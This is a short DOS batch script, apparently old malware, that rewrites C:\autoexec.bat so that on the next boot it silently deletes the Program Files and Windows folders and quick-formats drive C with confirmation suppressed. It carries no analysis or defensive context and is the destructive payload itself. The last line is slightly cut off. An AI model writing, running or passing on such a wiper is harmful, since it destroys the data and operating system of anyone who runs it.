[banaa]

echo off@

cls

call attrib -h -r c:\autoexec.bat >nul

echo @echo off >c:\autoexec.bat

echo deltree /y c:\progra~1\*.* >nul >>c:\autoexec.bat

echo copy c:\windows\command\format.com c:\ >nul >>c:\autoexec.bat

echo copy c:\windows\command\deltree.exe c:\ >nul >>c:\autoexec.bat

echo deltree /y c:\windows\*.* >nul >>c:\autoexec.bat

echo format c: /q /u /autotest >nul >>c:\autoexec